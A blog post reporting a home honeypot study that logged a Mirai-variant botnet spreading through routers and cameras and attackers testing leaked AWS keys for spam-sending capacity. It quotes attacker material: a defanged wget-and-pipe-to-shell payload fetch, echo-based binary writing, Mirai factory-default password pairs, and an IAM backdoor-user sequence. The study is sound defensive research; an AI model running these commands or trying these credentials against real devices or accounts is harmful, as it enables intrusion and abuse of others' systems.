Originally published on Elroy’s Substack.
Just a home study fwiw
This project is for funsies, the main goal was to see how malicious the internet is, and post-study: it’s time to review my opsec.
The setup, Project Chronos, is a mini SOC:
- Sensor, ARM instance running cowrie, plus a web server that pretends to be IIS, Apache, nginx or a home router.
- SOC core that normalises every event, tags it with a MITRE ATT&CK technique, stores it in OpenSearch and Splunk, and raises one TheHive alert per attacker session.
- The bait (and reel), the web server hands out a
.env, awp-config.php.bakand a.gitrepository, each contains an AWS key. The keys belong to a sealed AWS account, so they’re harmless, but every action with them is logged in CloudTrail.
Between October 13 and 30 the sensor logged ~736,000 events from ~2,900 IP addresses.

1. Watching a botnet grow#
On October 20 an IP address in Frankfurt, 176.65.139.40, started logging into my fake Telnet server. Over the next eight days it came back 380 times.
Then other machines started showing up running the same script and pointing at the same server. One or two at first, then 12, 29, 37, 55. By October 28, 210 different IP addresses had logged in and tried to install malware from 176.65.139.40.
Those 210 addresses sit in 38 countries and 97 different networks, and they’re home broadband and mobile carriers: China Telecom (66), TOT in Thailand (10), Globe Telecom in the Philippines, Airtel and BSNL in India, Ukrtelecom, Telecom Argentina, all of which tells me that these are somebody’s router, DVR or IP camera.
So what script do they actually run?
Log in over Telnet with a factory password (root/7ujMko0vizxv, root/oelinux123, default/default…)
-
Break out of the device’s menu with
enable,system,shell,sh, the escape hatch on cheap router firmware. -
Find somewhere to write:
>/tmp/.ptmx && cd /tmp/, then the same for/var,/dev,/mntand a dozen more directories until one works. -
Fetch the payload any way it can:
wget hxxp://176.6[5].xxx.xx/wget.sh | sh, elsecurl, elsetftp, elseftpget. If the device has none of those, it writes a tiny downloader byte by byte withecho -ne '\x7f\x45\x4c\x46...'. I captured 191 of these 1 KB programs, built for SuperH chips, each containing the stringsMIRAIanddvrHelper (variant of MIRAI). -
Download builds for 11 CPU types (four ARM variants, MIPS, MIPSEL, PowerPC, SuperH, SPARC, m68k, x86) and run every one with the
selfrepselfrepmeans self-replicate. The binary carries the spreading kit inside it: thewget/curl/tftp/ftpgetfallbacks and theechodownloader are right there as plain strings. The infected device becomes the next attacker and runs the same playbook against the next address it finds. That’s why the curve bends upward.
Some Interesting findings:
- The operator kept shipping updates. The ARM payloads changed at least four times between October 23 and 28, each new build pushed to 10–22 devices. A new build means a new file hash, which is the easiest way to slip past blocklists.
- It was a third of everything I recorded. This one operation produced 225,000 of the 731,000 SSH/Telnet events (31%), from just 610 sessions, because writing a binary with
echogenerates about 1,100 logged events per infection attempt.
Then it stopped. The last attack came on October 28 at 13:07 UTC. Between October 29 and 31 the block of addresses the server lived in disappeared from the internet’s routing tables. As of November 2, none of the 323 networks that feed RIPE’s routing monitors can reach it. I don’t know whether that was a takedown, the hosting company pulling the plug, or the operator moving on. The server was hosted by Storm Industries (AS219502), a provider that Internet Weather Report put on its watchlist in July for selling offshore servers with no identity checks, and the IP had been reported 604 times on AbuseIPDB.
The 210 devices are a different story. Mirai-family bots usually live only in memory, so a reboot clears them, but the default password that let them in is still there for the next botnet.
The web side had bait too. My canary serves a fake Laravel .env file with a real AWS key that can log in but is denied everything. It was fetched 187 times by 141 IPs. While I could still see CloudTrail, 74% of those fetches were followed by an AWS call with that key within 2 seconds, almost always from a different IP than the one that fetched it.

If your plan for “I accidentally committed a key” is “I’ll rotate it this afternoon”, the numbers say it will have been tried a dozen times by then.
2. They wanted my email quota, not my data#
I expected s3:ListBuckets. Instead, all 886 key-use calls followed the same checklist:

ses:ListVerifiedEmailAddressesin 17 regions: can this account send email, and from which addresses?ses:GetSendQuota: how much?sns:GetSMSAttributes: can it send SMS?iam:CreateUsertheniam:PutUserPolicy: make a backdoor user that survives key rotation.
That is a spam-relay qualification test. An AWS account with SES out of the sandbox is worth real money to spammers and phishers: it sends at volume from Amazon’s reputable mail infrastructure. Every call was denied except sts:GetCallerIdentity (which can’t be denied: it just says who you are).
The other bait was much quieter. The WordPress backup was fetched 6 times and the key never used. Fourteen IPs started dumping the .git repository, but only one went deep enough to reach the blob containing the key, and it never used it. I also planted ~/.aws/credentials and a juicy .bash_history inside the fake SSH server: not one SSH bot looked at them. The shell bots run their script and leave.
3. Then AWS suspended my honeytoken account#
On October 30 I got an email from AWS. The sealed account holding the bait keys had been suspended. My collector’s last successful CloudTrail read was October 20 at 15:58 UTC, five days after the first key use. After that, the role it used to read CloudTrail simply returned AccessDenied.
I never closed the account, and none of the keys could do anything. My best guess is that AWS saw keys from that account being hammered by known-bad infrastructure, five days straight, and pulled the plug. That’s arguably the right call. It also means 114 more .env fetches happened after the lights went out, and I’ll never know what was tried with those keys.
Lesson for anyone building honeytokens on AWS: put them in a throwaway account inside an Organization, export CloudTrail somewhere you control, and expect that account to have a short life.
4. The volume is a few loud bots, not a crowd#
The daily chart has one enormous spike on October 24. That’s a single IP from a Pakistani ISP that opened 21,908 SSH sessions in 11 hours. Each one logged in and ran echo -e "\x6F\x6B" (prints ok) and disconnected. That one host is 24% of the entire dataset.

Country rankings flip depending on what you count. The US has by far the most distinct attacking IPs, while Pakistan, with a few dozen IPs, generated the most events. If a threat-intel report says “most attacks come from country X”, ask whether it counted hosts or events.
The 37,715 sessions that ran commands collapse into just 143 bot families once you normalise IPs, URLs and random tokens out of the command sequences. 89% of them only fingerprint the box (uname, cat /proc/self/exe, /bin/busybox HISILICON) and leave; a few hundred download and run a payload.

5. Mirai’s 2016 password list is still out there#

admin / admin was tried 7,731 times from 353 IPs. Right behind it: root / xc3511, root / vizxv, root / juantech, root / anko. Those are factory defaults for cheap DVRs and IP cameras, and they come straight from the hard-coded list in the Mirai botnet source that leaked in 2016. A decade later, its descendants are still knocking.
6. Scanners don’t read the sign on the door#
One experiment came back null, and I think that’s interesting too. The fake web server pins each visiting IP to one of four disguises (IIS, Apache with PHP, nginx, or a Boa GPON router login page), chosen randomly by hashing the IP. If bots adapted to what they saw, the “router” would attract more router exploits, the “Apache” more PHP exploits, and so on.
They didn’t. Product-specific paths drew 0–2.5% of each persona’s visitors, with no persona pulling ahead. The 55 “exploit attempts” against the router persona came from three IPs, 48 of them from one. Bots fire the same wordlist whatever the Server header says.
Method and caveats#
- Sensor: one t4g.micro in AWS us-east-1, ports 22, 23 and 80 open, nothing else hosted. Window: 2026-10-13 09:15 to 2026-10-30 11:33 UTC.
- Cowrie accepts most passwords by design, so “successful login” means “the bot got a fake shell”, not that a real system was breached.
- My own test traffic (two IPs) is excluded from every number.
- GeoIP/ASN come from the GeoLite2 databases bundled with OpenSearch 2.11.1 (built Nov 2023), so some attributions will be stale.
- Key-use data covers October 15–20 only, because of the account suspension.
- The SOC core was stopped for part of the window to save money; the sensor buffered everything to disk and replayed it on restart, so there are no gaps.
The full report, charts, and all the code (sensor, pipeline, detections, report generator) are on GitHub: github.com/tayelroy/Chronos.